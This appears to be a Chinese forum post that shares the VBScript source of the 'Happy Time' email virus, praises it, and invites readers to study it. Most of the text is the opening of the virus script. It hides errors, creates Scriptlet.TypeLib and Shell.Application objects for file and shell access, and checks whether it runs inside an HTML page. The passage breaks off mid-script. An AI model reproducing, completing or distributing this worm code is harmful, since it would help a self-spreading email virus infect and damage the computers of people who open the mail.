"快乐时光"的邮件病毒源程序,大家一起研究研究，也希望版主加入精华区

作者:hxfwsk

这个程序很不差，快研究吧！

<SCRIPT language=VBScript>
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)